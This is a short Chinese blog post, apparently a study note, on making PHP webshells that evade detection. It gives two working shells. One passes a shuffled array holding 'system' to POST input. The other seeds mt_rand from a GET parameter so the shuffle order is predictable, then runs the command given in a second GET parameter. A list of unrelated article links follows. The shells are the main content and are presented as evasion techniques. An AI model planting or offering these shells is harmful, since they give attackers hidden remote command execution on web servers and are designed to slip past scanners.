记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
艾莉丝努力练剑2 分钟前
【Linux进程(七)】进程虚拟地址空间详解:从概念到实现与设计哲学
java·linux·运维·服务器·人工智能·安全·进程
iconball5 分钟前
个人用云计算学习笔记 --36 MySQL
运维·笔记·学习·云计算
SadSunset7 分钟前
Spring框架全面学习总结
java·学习·spring
培培说证7 分钟前
2026高职网络安全专业入门级证书大全。
安全·web安全
Blossom.1188 分钟前
边缘智能新篇章:YOLOv8在树莓派5上的INT8量化部署全攻略
人工智能·python·深度学习·学习·yolo·react.js·transformer
Gobysec15 分钟前
Goby 漏洞安全通告|MongoDB Zlib 信息泄露漏洞(CVE-2025-14847)
数据库·安全·mongodb·漏洞检测工具
wdfk_prog15 分钟前
[Linux]学习笔记系列 -- [fs]locks
linux·笔记·学习
_Orch1d17 分钟前
详解电子邮件安全:从SMTP到PGP再到DNSSEC的加固
计算机网络·安全·电子邮件安全
雨大王51221 分钟前
工业互联网平台在工艺工程安全与环保中的应用
安全
卓豪终端管理21 分钟前
从安全配置开始,构建主动防御体系
运维·网络·安全